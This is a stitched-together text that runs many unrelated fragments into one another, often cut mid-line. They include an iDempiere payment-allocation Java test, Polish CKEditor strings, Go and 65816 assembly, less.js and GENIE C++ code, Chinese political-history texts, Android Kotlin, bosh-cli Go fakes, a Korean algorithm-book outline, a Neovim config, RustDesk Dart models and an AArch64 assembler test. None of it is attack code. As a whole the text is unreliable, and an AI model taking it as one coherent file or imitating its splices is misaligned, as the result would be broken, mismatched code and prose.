ineList.add(new PostingLine(usd, accountedDrAmt, Env.ZERO));
			tradeLineList.add(new PostingLine(usd, Env.ZERO, accountedCrAmt));
			BigDecimal currBalAmt = new BigDecimal(0.01).setScale(usd.getStdPrecision(), RoundingMode.HALF_UP);
			tradeLineList.add(new PostingLine(usd, currBalAmt, Env.ZERO));
			currBalLineList.add(new PostingLine(usd, Env.ZERO, currBalAmt));

			testAllocationPosting(ass, allocList, paymentLineList, tradeLineList, null, currBalLineList);
		}
	}

	@Test
	/**
	 * Test the allocation posting (same period)
	 * Invoice Total=12,000
	 * Payment1 Total=10,700
	 * Allocation1 Total=10,700
	 * Payment2 Total=1,300
	 * Allocation2 Total=1,300
	 * https://idempiere.atlassian.net/browse/IDEMPIERE-4127
	 */
	public void testAllocateInvoicePaymentPosting_10() {
		MBPartner bpartner = MBPartner.get(Env.getCtx(), DictionaryIDs.C_BPartner.JOE_BLOCK.id);
		MCharge charge = MCharge.get(Env.getCtx(), DictionaryIDs.C_Charge.FREIGHT.id); // Freight Charges
		Timestamp currentDate = TimeUtil.getDay(Env.getContextAsDate(Env.getCtx(), "#Date"));
		Timestamp date = currentDate;

		int C_ConversionType_ID = DictionaryIDs.C_ConversionType.COMPANY.id; // Company

		MCurrency usd = MCurrency.get(DictionaryIDs.C_Currency.USD.id); // USD
		MCurrency euro = MCurrency.get(DictionaryIDs.C_Currency.EUR.id); // EUR
		BigDecimal usdToEur = new BigDecimal(30.212666962751);
		BigDecimal eurToUsd = BigDecimal.valueOf(1d / usdToEur.doubleValue());

		int M_PriceList_ID = DictionaryIDs.M_PriceList.EXPORT.id; // Export in EUR

		try (MockedStatic<MConversionRate> conversionRateMock = ConversionRateHelper.mockStatic()) {
			mockGetRate(conversionRateMock, usd, euro, 0, date, usdToEur);

			MBankAccount ba = getBankAccount(usd.getC_Currency_ID());
			MInvoice invoice = createInvoice(true, bpartner, date, M_PriceList_ID, C_ConversionType_ID);
			BigDecimal qty = BigDecimal.ONE;
			BigDecimal price = new BigDecimal(12000);
			createInvoiceLine(invoice, 10, null, charge, qty, price);
			completeDocument(invoice);
			postDocument(invoice);

			BigDecimal payAmt = new BigDecimal(10700);
			MPayment payment1 = createPayment(true, bpartner, ba.getC_BankAccount_ID(), date, payAmt, euro.getC_Currency_ID(), C_ConversionType_ID);
			completeDocument(payment1);
			postDocument(payment1);

			MAllocationHdr alloc1 = createAllocationHdr(date, euro.getC_Currency_ID());
			BigDecimal allocAmount = new BigDecimal(10700);
			createAllocationLine(alloc1, allocAmount, invoice, payment1);
			completeDocument(alloc1);
			postDocument(alloc1);

			MAcctSchema[] ass = MAcctSchema.getClientAcctSchema(Env.getCtx(), Env.getAD_Client_ID(Env.getCtx()));
			MAllocationHdr[] allocList = MAllocationHdr.getOfPayment(Env.getCtx(), payment1.getC_Payment_ID(), getTrxName());

			ArrayList<PostingLine> paymentLineList = new ArrayList<PostingLine>();
			ArrayList<PostingLine> tradeLineList = new ArrayList<PostingLine>();
			BigDecimal accountedDrAmt =


ci zgodną z CSS (px, %, in, cm, mm, em, ex, pt lub pc).","unavailable":"%1, niedostępne","keyboard":{"8":"Backspace","13":"Enter","16":"Shift","17":"Ctrl","18":"Alt","32":"spacja","35":"End","36":"Home","46":"Delete","224":"Command"},"keyboardShortcut":"Skrót klawiszowy"},"basicstyles":{"bold":"Pogrubienie","italic":"Kursywa","strike":"Przekreślenie","subscript":"Indeks dolny","superscript":"Indeks górny","underline":"Podkreślenie"},"blockquote":{"toolbar":"Cytat"},"button":{"selectedLabel":"%1 (Wybrany)"},"toolbar":{"toolbarCollapse":"Zwiń pasek narzędzi","toolbarExpand":"Rozwiń pasek narzędzi","toolbarGroups":{"document":"Dokument","clipboard":"Schowek/Wstecz","editing":"Edycja","forms":"Formularze","basicstyles":"Style podstawowe","paragraph":"Akapit","links":"Hiperłącza","insert":"Wstawianie","styles":"Style","colors":"Kolory","tools":"Narzędzia"},"toolbars":"Paski narzędzi edytora"},"notification":{"closed":"Powiadomienie zostało zamknięte."},"clipboard":{"copy":"Kopiuj","copyError":"Ustawienia bezpieczeństwa Twojej przeglądarki nie pozwalają na automatyczne kopiowanie tekstu. Użyj skrótu klawiszowego Ctrl/Cmd+C.","cut":"Wytnij","cutError":"Ustawienia bezpieczeństwa Twojej przeglądarki nie pozwalają na automatyczne wycinanie tekstu. Użyj skrótu klawiszowego Ctrl/Cmd+X.","paste":"Wklej","pasteNotification":"Twoja przeglądarka nie pozwala na wklejanie treści w ten sposób. Naciśnij %1 by wkleić tekst."},"contextmenu":{"options":"Opcje menu kontekstowego"},"elementspath":{"eleLabel":"Ścieżka elementów","eleTitle":"element %1"},"format":{"label":"Format","panelTitle":"Format","tag_address":"Adres","tag_div":"Normalny (DIV)","tag_h1":"Nagłówek 1","tag_h2":"Nagłówek 2","tag_h3":"Nagłówek 3","tag_h4":"Nagłówek 4","tag_h5":"Nagłówek 5","tag_h6":"Nagłówek 6","tag_p":"Normalny","tag_pre":"Tekst sformatowany"},"horizontalrule":{"toolbar":"Wstaw poziomą linię"},"image":{"alt":"Tekst zastępczy","border":"Obramowanie","btnUpload":"Wyślij","button2Img":"Czy chcesz przekonwertować zaznaczony przycisk graficzny do zwykłego obrazka?","hSpace":"Odstęp poziomy","img2Button":"Czy chcesz przekonwertować zaznaczony obrazek do przycisku graficznego?","infoTab":"Informacje o obrazku","linkTab":"Hiperłącze","lockRatio":"Zablokuj proporcje","menu":"Właściwości obrazka","resetSize":"Przywróć rozmiar","title":"Właściwości obrazka","titleButton":"Właściwości przycisku graficznego","upload":"Wyślij","urlMissing":"Podaj adres URL obrazka.","vSpace":"Odstęp pionowy","validateBorder":"Wartość obramowania musi być liczbą całkowitą.","validateHSpace":"Wartość odstępu poziomego musi być liczbą całkowitą.","validate


VQ (SI), AX
	MULQ CX
	ADDQ AX, R10
	ADCQ DX, R11
	ADCQ $0x00, R12
	ADCQ $0x00, BX

	// | a2 * b1
	MOVQ 8(SI), AX
	MULQ CX
	ADDQ AX, R11
	ADCQ DX, R12
	ADCQ BX, R13
	MOVQ $0x00, BX
	ADCQ $0x00, BX

	// | a2 * b2
	MOVQ 16(SI), AX
	MULQ CX
	ADDQ AX, R12
	ADCQ DX, R13
	ADCQ BX, R14

	// | a2 * b3
	MOVQ 24(SI), AX
	MULQ CX
	ADDQ AX, R13
	ADCQ DX, R14

	// |

/* i = 3                                   */

	// | a3 @ CX
	MOVQ 24(DI), CX
	MOVQ $0x00, BX

	// | a3 * b0
	MOVQ (SI), AX
	MULQ CX
	ADDQ AX, R11
	ADCQ DX, R12
	ADCQ $0x00, R13
	ADCQ $0x00, BX

	// | a3 * b1
	MOVQ 8(SI), AX
	MULQ CX
	ADDQ AX, R12
	ADCQ DX, R13
	ADCQ BX, R14
	MOVQ $0x00, BX
	ADCQ $0x00, BX

	// | a3 * b2
	MOVQ 16(SI), AX
	MULQ CX
	ADDQ AX, R13
	ADCQ DX, R14
	ADCQ $0x00, BX

	// | a3 * b3
	MOVQ 24(SI), AX
	MULQ CX
	ADDQ AX, R14
	ADCQ DX, BX

	// |

/* 			                                   */

	// |
	// | W
	// | 0   R8        | 1   R9        | 2   R10       | 3   R11
	// | 4   R12       | 5   R13       | 6   R14       | 7   BX

	MOVQ c+0(FP), AX
	MOVQ R8, (AX)
	MOVQ R9, 8(AX)
	MOVQ R10, 16(AX)
	MOVQ R11, 24(AX)
	MOVQ R12, 32(AX)
	MOVQ R13, 40(AX)
	MOVQ R14, 48(AX)
	MOVQ BX, 56(AX)

	RET
/* end 			                                 */

// func wmulADXFR(c *[8]uint64, a *[4]uint64, b *[4]uint64)
TEXT ·wmulADXFR(SB), NOSPLIT, $0-24
	// |

/* inputs                                  */

	MOVQ a+8(FP), DI
	MOVQ b+16(FP), SI
	XORQ AX, AX

	// |

/* i = 0                                   */

	// | a0 @ DX
	MOVQ (DI), DX

	// | a0 * b0
	MULXQ (SI), CX, R8

	// | a0 * b1
	MULXQ 8(SI), AX, R9
	ADCXQ AX, R8

	// | a0 * b2
	MULXQ 16(SI), AX, R10
	ADCXQ AX, R9

	// | a0 * b3
	MULXQ 24(SI), AX, R11
	ADCXQ AX, R10
	ADCQ  $0x00, R11

	// |

/* i = 1                                   */

	// | a1 @ DX
	MOVQ 8(DI), DX
	XORQ R12, R12

	// | a1 * b0
	MULXQ (SI), AX, BX
	ADOXQ AX, R8
	ADCXQ BX, R9

	// | a1 * b1
	MULXQ 8(SI),


l;
    if (options.env !== 'development') {
        try {
            cache = (typeof window.localStorage === 'undefined') ? null : window.localStorage;
        } catch (_) {}
    }
    return {
        setCSS: function(path, lastModified, modifyVars, styles) {
            if (cache) {
                logger.info('saving ' + path + ' to cache.');
                try {
                    cache.setItem(path, styles);
                    cache.setItem(path + ':timestamp', lastModified);
                    if (modifyVars) {
                        cache.setItem(path + ':vars', JSON.stringify(modifyVars));
                    }
                } catch(e) {
                    //TODO - could do with adding more robust error handling
                    logger.error('failed to save "' + path + '" to local storage for caching.');
                }
            }
        },
        getCSS: function(path, webInfo, modifyVars) {
            var css       = cache && cache.getItem(path),
                timestamp = cache && cache.getItem(path + ':timestamp'),
                vars      = cache && cache.getItem(path + ':vars');

            modifyVars = modifyVars || {};

            if (timestamp && webInfo.lastModified &&
                (new Date(webInfo.lastModified).valueOf() ===
                    new Date(timestamp).valueOf()) &&
                (!modifyVars && !vars || JSON.stringify(modifyVars) === vars)) {
                // Use local copy
                return css;
            }
        }
    };
};

},{}],5:[function(require,module,exports){
var utils = require("./utils"),
    browser = require("./browser");

module.exports = function(window, less, options) {

    function errorHTML(e, rootHref) {
        var id = 'less-error-message:' + utils.extractId(rootHref || "");
        var template = '
{line}
{content}

';
        var elem = window.document.createElement('div'), timer, content, errors = [];
        var filename = e.filename || rootHref;
        var filenameNoPath = filename.match(/([^\/]+(\?.*)?)$/)[1];

        elem.id        = id;
        elem.className = "less-error-message";

        content = '
'  + (e.type || "Syntax") + "Error: " + (e.message || 'There is an error in your .less file') +
            '
' + '
in ' + filenameNoPath + " ";

        var errorline = function (e, i, classname) {
            if (e.extract[i] !== undefined) {
                errors.push(template.replace(/\{line\}/, (parseInt(e.line, 10) || 0) + (i - 1))
                    .replace(/\{class\}/, classname)
                    .replace(/\{content\}/, e.extract[i]));
            }
        };

        if (e.extract) {
            errorline(e, 0, '');
            errorline(e, 1, 'line');
            errorline(e, 2, '');
            content += 'on line ' + e.line + ', column ' + (e.column + 1) + ':
' +
                '
' + errors.join('') + '
';
        }
        if (e.stack && (e.extract || options.logLevel >= 4)) {
            content += '
Stack Trace
' + e.stack.split('\n').slice(1).join('
');
        }
        elem.innerHTML = content;

        // CSS for error messages
        browser.createCSS(window.document, [
            '.less-error-message ul, .less-error-message li {',
            'list-style-type: none;',
            'margin-right: 15px;',
            'padding: 4px 0;',
            'margin: 0;',
            '}',
            '.less-error-message label {',
            'font-size: 12px;',
            'margin-right: 15px;',
            'padding: 4px 0;',
            '


t i=0; i < pdglist.size(); ++i)
    if ( pdglist[i] == nupdg) found = true;
  if ( ! found ) pdglist.push_back(nupdg);

  /* // OLD fashion array
  bool found = false;
  for (int i=0; i < nflavors; ++i) if ( flavor[i] == nupdg ) found = true;
  if ( ! found ) {
    Int_t* old_list = flavor;
    flavor = new Int_t[nflavors+1];
    for (int i=0; i < nflavors; ++i) flavor[i] = old_list[i];
    flavor[nflavors] = nupdg;
    nflavors++;
    delete [] old_list;
  }
  */
}

void GSimpleNtpMeta::Print(const Option_t* /* opt */ ) const
{
  std::cout << *this << std::endl;
}

//___________________________________________________________________________

namespace genie {
namespace flux  {

  ostream & operator << (
    ostream & stream, const genie::flux::GSimpleNtpEntry & entry)
    {
      stream << "\nGSimpleNtpEntry "
             << " PDG " << entry.pdg
             << " wgt " << entry.wgt
             << " ( metakey " << entry.metakey << " )"
             << "\n   vtx [" << entry.vtxx << "," << entry.vtxy << ","
             << entry.vtxz << ", t=" << entry.vtxt << "] dist " << entry.dist
             << "\n   p4  [" << entry.px << "," << entry.py << ","
             << entry.pz << "," << entry.E << "]";
     return stream;
  }

ostream & operator << (ostream & stream,
                       const genie::flux::GSimpleNtpNuMI & numi)
{
  stream << "\nGSimpleNtpNuMI "
         << "run " << numi.run
         << " evtno " << numi.evtno
         << " entryno " << numi.entryno
         << "\n   ndecay " << numi.ndecay  << " ptype " << numi.ptype
         << "\n   tptype " << numi.tptype << " ppmedium " << numi.ppmedium
         << "\n  tp[xyz] [" << numi.tpx  << "," << numi.tpy  << "," << numi.tpz  << "]"
         << "\n   v[xyz] [" << numi.vx   << "," << numi.vy   << "," << numi.vz   << "]"
         << "\n  pd[xyz] [" << numi.pdpx << "," << numi.pdpy << "," << numi.pdpz << "]"
         << "\n  pp[xyz] [" << numi.pppx << "," << numi.pppy << "," << numi.pppz << "]"
    ;
  return stream;
}

  ostream & operator << (
    ostream & stream, const genie::flux::GSimpleNtpAux & aux)
    {
      stream << "\nGSimpleNtpAux ";
      size_t nInt = aux.auxint.size();
      stream << "\n   ints: ";
      for (size_t ijInt=0; ijInt < nInt; ++ijInt)
        stream << " " << aux.auxint[ijInt];
      size_t nDbl = aux.auxdbl.size();
      stream << "\n   doubles: ";
      for (size_t ijDbl=0; ijDbl < nDbl; ++ijDbl)
        stream << " " << aux.auxdbl[ijDbl];

     return stream;
  }

  ostream & operator << (
    ostream & stream, const genie::flux::GSimpleNtpMeta & meta)
    {
      size_t nf = meta.pdglist.size();
      stream << "\nGSimpleNtpMeta " << nf << " flavors: ";


为走狗，每个学校都提出要求撤换几个党员干部。有的机关、学校的党员在他们逼迫下，屈服了、泄密了。民盟成员积极在学校宣传毛主席说共产党要撤出学校。他们开会讨论，认为这是发展民盟的好机会，有的已把他们的校长人选都物色好了。　　(徐晓)

   ----来源：1957年6月10日新华通讯社编《内部参考》。

    [返回索引页面]

   Copyright (C)  2024  Marxist-Leninist-Maoist.

   Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".

  <title>
   北京有些院校学生自动组织委员会要求请愿的学生愈来愈多 - 新华社记者　朱彬 - 1957-5-30 - CCRD 中国当代政治运动史数据库
  </title>
  <link href="../../../../Emblem_of_the_PCP-Shining_Path.svg.ico" rel="icon" type="image/x-icon"/>

  <meta content="北京有些院校学生自动组织委员会要求请愿的学生愈来愈多" property="title"/>
  <meta content="1957-5-30" property="date"/>
  <meta content="新华社记者　朱彬" property="authors"/>


import androidx.fragment.app.viewModels
import app.futured.arkitekt.examplehilt.ui.base.BaseBottomSheetDialogFragment
import app.futured.arkitekt.sample.hilt.R
import app.futured.arkitekt.sample.hilt.databinding.FragmentSomeBottomSheetBinding
import dagger.hilt.android.AndroidEntryPoint

@AndroidEntryPoint
class SomeBottomSheetFragment :
    BaseBottomSheetDialogFragment<SomeViewModel, SomeViewState, FragmentSomeBottomSheetBinding>(),
    SomeView {

    companion object {
        fun newInstance(): SomeBottomSheetFragment = SomeBottomSheetFragment()
    }

    override val viewModel: SomeViewModel by viewModels()

    override val layoutResId = R.layout.fragment_some_bottom_sheet

    override val fragmentTag = this::class.java.name

    override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
        super.onViewCreated(view, savedInstanceState)

        observeEvent(CloseEvent::class) { dismiss() }
    }
}
package app.futured.arkitekt.core.livedata

import androidx.lifecycle.LiveData
import androidx.lifecycle.MediatorLiveData
import androidx.lifecycle.map

fun <T1, T2, RESULT> combineLiveData(
    t1: LiveData<T1>,
    t2: LiveData<T2>,
    callback: (T1, T2) -> RESULT
): LiveData<RESULT> {
    val mediatorLiveData = MediatorLiveData<Pair<T1, T2>>().apply {
        var lastT1: T1? = null
        var lastT2: T2? = null

        fun update() {
            val localLastT1 = lastT1
            val localLastT2 = lastT2
            if (localLastT1 != null && localLastT2 != null) {
                this.value = Pair(localLastT1, localLastT2)
            }
        }

        addSource(t1) { lastT1 = it; update() }
        addSource(t2) { lastT2 = it; update() }
    }
    return mediatorLiveData.map { callback(it.first, it.second) }
}

fun <T1, T2, T3, RESULT> combineLiveData(
    t1: LiveData<T1>,
    t2: LiveData<T2>,
    t3: LiveData<T3>,
    callback: (T1, T2, T3) -> RESULT
): LiveData<RESULT> {

    val mediatorLiveData = MediatorLiveData<Triple<T1, T2, T3>>().apply {
        var lastT1: T1? = null
        var lastT2: T2? = null
        var lastT3: T3? = null

        fun update() {
            val localLastT1 = lastT1
            val localLastT2 = lastT2
            val localLastT3 = lastT3
            if (localLastT1 != null && localLastT2 != null && localLastT3 != null) {
                this.value = Triple(localLastT1, localLastT2, localLastT3)
            }
        }

        addSource(t1) { lastT1 = it; update() }
        addSource(t2) { lastT2 = it; update() }
        addSource(t3) { lastT3 = it; update() }
    }
    return mediatorLiveData.map { callback(it.first, it.second, it.third) }
}

@Suppress("LongParameterList", "ComplexCondition")
fun <T1, T2, T3, T4, RESULT> combineLiveData(
    t1: LiveData<T1>,
    t2: LiveData<T2>,
    t3: LiveData<T3>,
    t4: LiveData<T4>,
    callback: (T1, T2, T3, T4) ->


stal  #$E19d02,x
         stal  #$E19d04,x
         stal  #$E19d06,x
         stz   MsH
         stz   MsV
         rts

CharWrt  phb
         pea   #>Char
         plb
         plb
         lda   Char+8,y
         and   MsAND      ; Special characters:
         stal  $E12280,x  ; FE = Carriage return
         lda   Char+10,y  ; FF = Command character
         and   MsAND
         stal  $E12320,x
         lda   Char+6,y
         and   MsAND
         stal  $E121e0,x
         LDa   Char,y     ; Command list:
         and   MsAND      ; (All preceded by an $FF)
         stal  $E12000,x


T = int(input())
testcase = []
for i in range(T):
    testcase.append(int(input()))

dp = [0 for _ in range(10)]
dp[9] = 1
answer = [0 for _ in range(max(testcase) + 1)]

for i in range(1, max(testcase) + 1):
    for j in range(10):
        dp[j] = sum(dp[j:])
    answer[i] = sum(dp)

for v in testcase:
    print(answer[v])


(arg0 cloud.Cloud, arg1 agentclient.AgentClient) vm.Manager {
	m.ctrl.T.Helper()
	ret := m.ctrl.Call(m, "NewManager", arg0, arg1)
	ret0, _ := ret[0].(vm.Manager)
	return ret0
}

// NewManager indicates an expected call of NewManager.
func (mr *MockManagerFactoryMockRecorder) NewManager(arg0, arg1 interface{}) *gomock.Call {
	mr.mock.ctrl.T.Helper()
	return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "NewManager", reflect.TypeOf((*MockManagerFactory)(nil).NewManager), arg0, arg1)
}
package fakes

import (
	"time"

	biagentclient "github.com/cloudfoundry/bosh-agent/v2/agentclient"
	bias "github.com/cloudfoundry/bosh-agent/v2/agentclient/applyspec"

	bidisk "github.com/cloudfoundry/bosh-cli/v7/deployment/disk"
	bideplmanifest "github.com/cloudfoundry/bosh-cli/v7/deployment/manifest"
	biui "github.com/cloudfoundry/bosh-cli/v7/ui"
)

type FakeVM struct {
	cid string

	ExistsCalled int
	ExistsFound  bool
	ExistsErr    error

	AgentClientReturn biagentclient.AgentClient

	UpdateDisksInputs []UpdateDisksInput
	UpdateDisksDisks  []bidisk.Disk
	UpdateDisksErr    error

	ApplyInputs []ApplyInput
	ApplyErr    error

	StartCalled int
	StartErr    error

	DrainCalled int
	DrainErr    error

	AttachDiskInputs   []AttachDiskInput
	attachDiskBehavior map[string]error

	DetachDiskInputs   []DetachDiskInput
	detachDiskBehavior map[string]error

	WaitUntilReadyInputs []WaitUntilReadyInput
	WaitUntilReadyErr    error

	WaitToBeRunningInputs []WaitInput
	WaitToBeRunningErr    error

	DeleteCalled int
	DeleteErr    error

	StopCalled int
	StopErr    error

	ListDisksDisks []bidisk.Disk
	ListDisksErr   error

	UnmountDiskInputs []UnmountDiskInput
	UnmountDiskErr    error

	MigrateDiskCalledTimes int
	MigrateDiskErr         error

	RunScriptInputs []string
	RunScriptErrors map[string]error

	GetStateResult biagentclient.AgentState
	GetStateCalled int
	GetStateErr    error
}

type UpdateDisksInput struct {
	DiskPool bideplmanifest.DiskPool
	Stage    biui.Stage
}

type ApplyInput struct {
	ApplySpec bias.ApplySpec
}

type WaitUntilReadyInput struct {
	Timeout time.Duration
	Delay   time.Duration
}

type WaitInput struct {
	MaxAttempts int
	Delay       time.Duration
}

type AttachDiskInput struct {
	Disk bidisk.Disk
}

type DetachDiskInput struct {
	Disk bidisk.Disk
}

type UnmountDiskInput struct {
	Disk bidisk.Disk
}

func NewFakeVM(cid string) *FakeVM {
	return &FakeVM{
		ExistsFound:           true,
		ApplyInputs:           []ApplyInput{},
		WaitUntilReadyInputs:  []WaitUntilReadyInput{},
		WaitToBeRunningInputs: []WaitInput{},
		AttachDiskInputs:      []AttachDiskInput{},
		DetachDiskInputs:      []DetachDiskInput{},
		UnmountDiskInputs:     []UnmountDiskInput{},
		attachDiskBehavior:    map[string]error{},
		detachDiskBehavior:    map[string]error{},
		cid:                   cid,
		RunScriptErrors:       map[string]error{},
	}
}

func (vm *FakeVM) CID() string {
	return vm.cid
}

func (vm *FakeVM) Exists() (bool, error) {
	vm.ExistsCalled++
	return vm.ExistsFound, vm.ExistsErr
}

func (vm *FakeVM) AgentClient() biagentclient.AgentClient {


结合起来，在马列主义基础上结合起来。思想上优点结合不起来，那就变成三吵架、三别扭。要把三方面的优点溶合起来。

   我一讲你们就记，一大本，一念，上文不接下文。你们回去讲，我不反对，要讲精神。一念，顺序就没有了，讲话要有顺序的么。少一段，减一段，没关系么。你们不会造我的谣的，这一点我相信。就是讲讲意思么。

   （当有同志问如何联系科学院的实际批资产阶级法权时）

   争官、争权、争名、争利，这还不是资产阶级法权思想？别的，也还可以想一想。

   （当有同志谈对怎样学习贯彻中央9号、13号等文件有点等的思想，看新领导来后如何部署时）

   我们现在还不是核心小组成员哪，我们向中央汇报以后，再进。

   我觉得现在贯彻主席三大指示、中央三个文件是当前的关键的关键。至于贯彻多少，一步步来，你们不要着急哟！两天就贯彻好，怎么行？要稳扎稳打。

   （当某单位负责同志谈党委现在有很大进步，下边面貌也有很大改变时）

   宁可低估，不要高估。

   （某单位负责同志：只是好的开始，想8月份搞完，9月份不知怎么安排？1个月是不行的。）

   8月份不行还有9月份，反正坐地日行八万里，快不了怎么办？

   光讲不行，还要改。哪一股风不好，你就把它改过来，有的总得有个别帮助。情况各有不同。总有需要重点帮助的人。先在领导干部中学，然后党员，以后到群众中去。先从领导干部搞起，不能先到群众中去。

   9月份还是抓整顿。科学院重点是思想整顿和组织整顿。前者准备搞到12月，初步见效。又着急，又不着急。着急，是每周总要有所前进；不着急，是思想工作3、5个月都整


#ifndef BEZIERCURVE_H
#define BEZIERCURVE_H

#include <curves/bezier/BezierTypedefs.h>
#include <curves/bezier/BezierBasis.h>
#include <curves/bezier/BezierCurveTessellator.h>
#include <vector>
#include <gl/glut.h>

class CurvePoint;

class BezierCurve
{
public:
  BezierCurve();
  // No copy constructor, operator=, or destructor because we've nothing to deep copy or clean up.

  // These add and remove control points from the end of the curve.  Note that some tessellators
  // may only handle cases where we have 4 control points (cubic bezier curve) so they'll generate
  // nothing if there's anything other than 4 control points.
  void addControlPoint( float x, float y, float z );
  void removeControlPoint();
  void clearControlPoints();

  // To get a feel for how fast this'd be if we were bending the curve every frame, we
  // regenerate our curve every frame.
  void draw( const BezierCurveTessellator*, bool drawControlPoints = false ) const;

  void drawBasisFunctions() const;

protected:
  // This is used to regenerate our basis functions if the number of control points changes.
  void generateBases();

  std::vector< CurvePoint > controls;
  std::vector< BasisFunction > bases;
};

#endif //BEZIERCURVE_H


� 코딩 테스트 기출문제 유형 분석

* 최신 출제 경향과 준비 방향
* 연도별 코딩 테스트 유형 분석

#### GUIDE: 성공적인 취업을 위한 가이드

* 채용 프로세스
* 기술 면접의 대표적인 유형
* 기술 면접 준비
* 알고리즘 문제 풀이 사이트
* 커뮤니티 사이트

### Part 2 주요 알고리즘 이론과 실전 문제

#### 3장 그리디

* 이론
    * 당장 좋은 것만 선택하는 그리디
    * 거스름돈 문제: ([Python 3.7 코드](/3/1.py) / [C++ 코드](/3/1.cpp) / [Java 코드](/3/1.java))
* 실전
    * 동빈이의 큰 수의 법칙: ([Python 3.7 코드](/3/2.py) / [C++ 코드](/3/2.cpp) / [Java 코드](/3/2.java))
    * 숫자 카드게임: ([Python 3.7 코드](/3/4.py) / [C++ 코드](/3/4.cpp) / [Java 코드](/3/4.java))
    * 1이 될 때까지: ([Python 3.7 코드](/3/6.py) / [C++ 코드](/3/6.cpp) / [Java 코드](/3/6.java))

#### 4장 구현

* 이론
    * 아이디어를 코드로 바꾸는 구현
    * 상하좌우: ([Python 3.7 코드](/4/1.py) / [C++ 코드](/4/1.cpp) / [Java 코드](/4/1.java))
    * 시각: ([Python 3.7 코드](/4/2.py) / [C++ 코드](/4/2.cpp) / [Java 코드](/4/2.java))
* 실전
    * 왕실의 나이트: ([Python 3.7 코드](/4/3.py) / [C++ 코드](/4/3.cpp) / [Java 코드](/4/3.java))
    * 게임 개발: ([Python 3.7 코드](/4/4.py) / [C++ 코드](/4/4.cpp) / [Java 코드](/4/4.java))

#### 5장 DFS/BFS

* 이론
    * 꼭 필요한 자료구조 기초
    * 탐색 알고리즘 DFS/BFS
    * 스택 구현 예제: ([Python 3.7 코드](/5/1.py) / [C++ 코드](/5/1.cpp) / [Java 코드](/5/1.java))
    * 큐 구현 예제: ([Python 3.7


return {
  {
    "nvim-neotest/neotest",
    dependencies = {
      "nvim-neotest/nvim-nio",
      "nvim-lua/plenary.nvim",
      "antoinemadec/FixCursorHold.nvim",
      "nvim-treesitter/nvim-treesitter",
      "olimorris/neotest-rspec",
      "zidhuss/neotest-minitest",
    },
    opts = {
      adapters = {
        ["neotest-rspec"] = {
          -- NOTE: By default neotest-rspec uses the system wide rspec gem instead of the one through bundler
          -- rspec_cmd = function()
          --   return vim.tbl_flatten(


  int statusCode;
  String cause;
  RequestException(this.statusCode, this.cause);

  @override
  String toString() {
    return "RequestException, statusCode: $statusCode, error: $cause";
  }
}

enum ShareRule {
  read(1),
  readWrite(2),
  fullControl(3);

  const ShareRule(this.value);
  final int value;

  static String desc(int v) {
    if (v == ShareRule.read.value) {
      return translate('Read-only');
    }
    if (v == ShareRule.readWrite.value) {
      return translate('Read/Write');
    }
    if (v == ShareRule.fullControl.value) {
      return translate('Full Control');
    }
    return v.toString();
  }

  static String shortDesc(int v) {
    if (v == ShareRule.read.value) {
      return 'R';
    }
    if (v == ShareRule.readWrite.value) {
      return 'RW';
    }
    if (v == ShareRule.fullControl.value) {
      return 'F';
    }
    return v.toString();
  }

  static ShareRule? fromValue(int v) {
    if (v == ShareRule.read.value) {
      return ShareRule.read;
    }
    if (v == ShareRule.readWrite.value) {
      return ShareRule.readWrite;
    }
    if (v == ShareRule.fullControl.value) {
      return ShareRule.fullControl;
    }
    return null;
  }
}

class AbProfile {
  String guid;
  String name;
  String owner;
  String? note;
  dynamic info;
  int rule;

  AbProfile(this.guid, this.name, this.owner, this.note, this.rule, this.info);

  AbProfile.fromJson(Map<String, dynamic> json)
      : guid = json['guid'] ?? '',
        name = json['name'] ?? '',
        owner = json['owner'] ?? '',
        note = json['note'] ?? '',
        info = json['info'],
        rule = json['rule'] ?? 0;
}

class AbTag {
  String name;
  int color;

  AbTag(this.name, this.color);

  AbTag.fromJson(Map<String, dynamic> json)
      : name = json['name'] ?? '',
        color = json['color'] ?? '';
}

class DeviceGroupPayload {
  String name;

  DeviceGroupPayload(this.name);

  DeviceGroupPayload.fromJson(Map<String, dynamic> json)
      : name = json['name'] ?? '';

  Map<String, dynamic> toGroupCacheJson() {
    final Map<String, dynamic> map = {
      'name': name,
    };
    return map;
  }
}
import 'package:flutter/widgets.dart';
import 'package:flutter_hbb/common.dart';
import 'package:flutter_hbb/common/hbbs/hbbs.dart';
import 'package:flutter_hbb/common/widgets/peers_view.dart';
import 'package:flutter_hbb/models/model.dart';
import 'package:flutter_hbb/models/peer_model.dart';
import 'package:flutter_hbb/models/platform_model.dart';
import 'package:get/get.dart';
import 'dart:convert';
import '../utils/http_service.dart' as http;

class GroupModel {
  final RxBool groupLoading = false.obs;
  final RxString groupLoadError = "".obs;
  final RxList<DeviceGroupPayload> deviceGroups = RxList.empty(growable: true);
  final RxList<UserPayload> users = RxList.empty(growable: true);
  final RxList<Peer> peers = RxList.empty(growable: true);
  final RxBool isSelectedDeviceGroup = false.obs;
  final RxString selectedAccessibleItemName = ''.obs;
  final RxString searchAccessibleItemNameText = ''.obs;
  WeakReference<FFI> parent;
  var initialized


  __ fcvtxn(s12, d12);
  __ fcvtzs(d15, d0);
  __ fcvtzs(d13, d4, 42);
  __ fcvtzs(s8, s11);
  __ fcvtzs(s31, s6, 25);
  __ fcvtzs(w6, d9);
  __ fcvtzs(w25, d10, 20);
  __ fcvtzs(w9, s1);
  __ fcvtzs(w17, s29, 30);
  __ fcvtzs(x19, d2);
  __ fcvtzs(x22, d14, 1);
  __ fcvtzs(x14, s20);
  __ fcvtzs(x3, s30, 33);
  __ fcvtzu(d28, d15);
  __ fcvtzu(d0, d4, 3);
  __ fcvtzu(s2, s5);
  __ fcvtzu(s4, s0, 30);
  __ fcvtzu(w11, d4);
  __ fcvtzu(w7, d24, 32);
  __ fcvtzu(w18, s24);
  __ fcvtzu(w14, s27, 4);
  __ fcvtzu(x22, d11);
  __ fcvtzu(x8, d27, 52);
  __ fcvtzu(x7, s20);
  __ fcvtzu(x22, s7, 44);
  __ fdiv(d6, d14, d15);
  __ fdiv(s26, s5, s25);
  __ fmadd(d18, d26, d12, d30);
  __ fmadd(s13, s9, s28, s4);
  __ fmax(d12, d5, d5);
  __ fmax(s12, s28, s6);
  __ fmaxnm(d28, d4, d2);
  __ fmaxnm(s6, s10, s8);
